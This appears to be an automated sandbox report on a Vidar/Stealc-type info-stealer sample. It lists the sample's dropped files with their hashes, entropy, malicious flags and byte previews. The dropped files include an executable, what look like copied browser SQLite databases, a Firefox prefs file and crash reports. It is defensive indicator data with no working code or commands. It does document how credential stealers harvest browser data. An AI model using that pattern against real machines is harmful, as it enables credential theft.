	out.exe	Get hash	malicious	Vidar	Browse
	wULBz8VjH0.exe	Get hash	malicious	Vidar	Browse
	FdjDPFGTZS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	45Ywq5ad5H.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	f1r6P3j3g7.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	NdSXVNeoET.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	VLSiVR4Qxs.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\AEHIDAKECF.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.721744791391737
Encrypted:	false
SSDEEP:	12288:iu2ezteYj0Zryx+k7CRjoN3zovbJfOYmwgBkqKS4S:iuteW+L3zJfpmJkqKD
MD5:	933CD328743445FD4AA29EEAEA35D726
SHA1:	6B7ABF067EF0B656286ED65832A78AFDD5705A34
SHA-256:	53B4E4B1016A463835A05163ACEEBBACEB25F0EDD24B7DFC8C02BE3596A65E87
SHA-512:	1D7D79D63A758347DA0840195D4D97AF93A16D725E29F8EB322DCE3591659FAEB27C1FF5CD5C9C674F5833E144D230C5B9A4315A594E4C587397E98257AC997B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L....2.g...............).....b......Ro.......0....@.......................................@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...p...........................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCAAF\AKECBF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCAAF\AKECBF-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCAAF\BFIJEH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCAAF\BKEBFH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCAAF\CGHDAK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCAAF\DBKEGC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\AFIDGDBGCAAF\EBFBKF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCAAF\GCGCFC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCAAF\HDHJEB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCAAF\IEHCBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCAAF\JKKFII

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFIDGDBGCAAF\JKKFII-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCFBFHIEBKJK\DGCBAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_22594e132764.exe_ccd4ce4ffa4affe920cf036359dd7e3a7c64ae1_79c6969d_10d44d82-3818-4f78-95c4-d62f2374fa9d\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.655349801757197
Encrypted:	false
SSDEEP:	96:igFRb3G0cyIJcsSWywSMAlfjQXIDcQvc6QcEVcw3cE/hyuyQ+HbHgShZAX/d5FMq:HzLGd/cS0BU/gjSzuiFiZ24IO8j
MD5:	3275330D75B05B6264E817DDDABE499B
SHA1:	22CAA635E1D95B571CD877C915AED3E9E15F0DA9
SHA-256:	B75E48DF967490880E25617710C0BAD78027C15F1EC8605A3D5E7599C89F9E9B
SHA-512:	771B7BADF25F0A9353CBD2655A4DC376D54F4442CB2B9BB0039A911BE77297C97C0B97D982E96C4592AED3212871F1E32ED773B309E95077F5275E3D8E6179F0
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.0.2.3.1.1.3.4.6.7.5.6.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.8.0.2.3.1.2.1.1.2.3.7.0.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.0.d.4.4.d.8.2.-.3.8.1.8.-.4.f.7.8.-.9.5.c.4.-.d.6.2.f.2.3.7.4.f.a.9.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.7.8.6.f.7.c.4.-.6.e.3.e.-.4.4.8.8.-.b.2.f.6.-.8.7.a.4.3.3.a.d.b.a.3.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.2.2.5.9.4.e.1.3.2.7.6.4...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.e.8.-.0.0.0.1.-.0.0.1.4.-.d.6.4.e.-.b.5.b.1.e.d.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.b.f.f.2.f.d.a.1.8.e.8.8.8.a.5.9.a.5.3.4.4.9.e.e.7.3.3.9.3.a.e.6.a.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_22594e132764.exe_ccd4ce4ffa4affe920cf036359dd7e3a7c64ae1_79c6969d_78ec0684-bcbb-4337-adb3-e05a91df8730\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6630545268385469
Encrypted:	false
SSDEEP:	96:w2klFpU3r0cyIJJsSWywSMAlfjQXIDcQvc6QcEVcw3cE/hyuyQ+HbHg/5hZAX/d1:w/Qrd/JS0BU/gjhzuiFiZ24IO8j
MD5:	B9C9E2B89D59F8AD9AB2B158BA4B472D
SHA1:	D6BF9F9A029FC35E7FC688604074EC25647B136B
SHA-256:	8ECFEBEEEE67A6633044C622463441C014D41D40CCC8DA5ED35979A01D51A1BE
SHA-512:	775A1556053158D2954FBC482947A51E9F66D3A0B48093A5ECE6B512F646664661B7F57A1968F8DF5B2B95171B76754F32E2D9D3EEFEC8A0B6532D1629124365
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.0.2.2.8.4.0.8.4.5.1.6.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.8.0.2.2.8.4.4.7.5.1.4.3.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.8.e.c.0.6.8.4.-.b.c.b.b.-.4.3.3.7.-.a.d.b.3.-.e.0.5.a.9.1.d.f.8.7.3.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.b.c.5.4.c.3.b.-.a.d.2.5.-.4.b.3.9.-.b.8.f.d.-.d.2.7.f.c.2.f.5.f.4.4.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.2.2.5.9.4.e.1.3.2.7.6.4...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.4.4.-.0.0.0.1.-.0.0.1.4.-.b.8.4.f.-.b.3.a.1.e.d.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.b.f.f.2.f.d.a.1.8.e.8.8.8.a.5.9.a.5.3.4.4.9.e.e.7.3.3.9.3.a.e.6.a.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_AEHIDAKECF.exe_692646668c39db6480cb8a6752bc727249b14fd7_8715bf9f_9ab4ce95-bed5-4124-a32f-31a43d884dd6\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6505975628784249
Encrypted:	false
SSDEEP:	192:eTfoMtX1uICddH0BU/8G+jhzuiFiZ24IO85Ww:gtTC0BU/YjhzuiFiY4IO84w
MD5:	B3653B885ECC67312CA58A70C1B10024
SHA1:	CE3B1AEAB2A056E1F79D63DCD4ACD97C3E47B0F7
SHA-256:	9DF8D1302CC994D5EDCBEC25078FF356DF187567F6ACDF8AF6185CCB0AC93A19
SHA-512:	57EAFD24442AB9E5700FD91225DAD0BB31C1C33BE94751D41F1F845C79A6CDE9D31DA9EF8A299D22780B424465E02BF890D22AF8AC28EC4310EA9E10ACCED3DD
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.0.2.3.3.2.9.2.2.9.5.2.1.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.8.0.2.3.3.3.3.7.6.0.6.9.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.a.b.4.c.e.9.5.-.b.e.d.5.-.4.1.2.4.-.a.3.2.f.-.3.1.a.4.3.d.8.8.4.d.d.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.9.0.f.8.a.0.5.-.5.7.3.8.-.4.f.c.c.-.a.e.8.4.-.0.2.b.4.6.4.6.f.f.a.f.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.A.E.H.I.D.A.K.E.C.F...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.e.8.-.0.0.0.1.-.0.0.1.4.-.a.9.2.d.-.d.0.b.e.e.d.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.6.b.7.a.b.f.0.6.7.e.f.0.b.6.5.6.2.8.6.e.d.6.5.8.3.2.a.7.8.a.f.d.d.5.7.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_WiTqtf1aiE.exe_fcb55378b23a3e2780d8841e31ba47db77bf40df_72e290f3_72e37a3d-dc03-4ce4-b601-fc0f2a6e8dcd\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.6531999586754934
Encrypted:	false
SSDEEP:	96:cgF9/vVc0Q81NsIyEiARf9BQXIDcQvc6QcEVcw3cE/n+HbHg/5hZAX/d5FMT2SlQ:ZfvVcoNTm0BU/gjhzuiFiZ24IO8j
MD5:	56BFAC4FB5CE0FC842EBAE578038F40D
SHA1:	13D37FA1D99204B2370E6B32E464EF3D07A9F7AE
SHA-256:	C686FB97E6DDAA312CC3153D3F7874492A91E252CFD99E7F82B0B446FE9DCC29
SHA-512:	B6F10D2DD916A6E38C22A9D7BA4AF4409114662ABA27478981E889FE3968F8B89E8C14F038B06DF529F89E10F9A8E0FED8AE3914DB96467ACAE649DAACE99E64
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.0.2.2.8.1.5.3.3.7.0.8.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.8.0.2.2.8.1.8.6.1.8.2.0.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.7.2.e.3.7.a.3.d.-.d.c.0.3.-.4.c.e.4.-.b.6.0.1.-.f.c.0.f.2.a.6.e.8.d.c.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.9.a.a.8.a.f.d.-.1.2.f.8.-.4.f.7.d.-.8.f.e.a.-.5.3.0.9.9.5.d.5.a.a.7.2.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.W.i.T.q.t.f.1.a.i.E...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.2.1.0.-.0.0.0.1.-.0.0.1.4.-.c.3.9.1.-.2.e.a.0.e.d.1.8.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.2.c.8.5.4.e.5.5.0.4.2.1.b.e.6.7.9.e.8.0.c.d.a.d.7.9.2.6.f.f.a.9.c.b.c.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER5146.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Oct 7 19:18:31 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	32488
Entropy (8bit):	1.7850144790869047
Encrypted:	false
SSDEEP:	96:5V8lT84KiSPcMP7i7vgMQWMPB2075y5Pv32igdH+LIWIkWICTjI4tubPW6DU:c8DTOEh5MX3hIeantubjDU
MD5:	4AF7D98267D7A2C6364522F011F67335
SHA1:	E4F28DEC58334FCA3D63245FA284AFFC7ACAB7DF
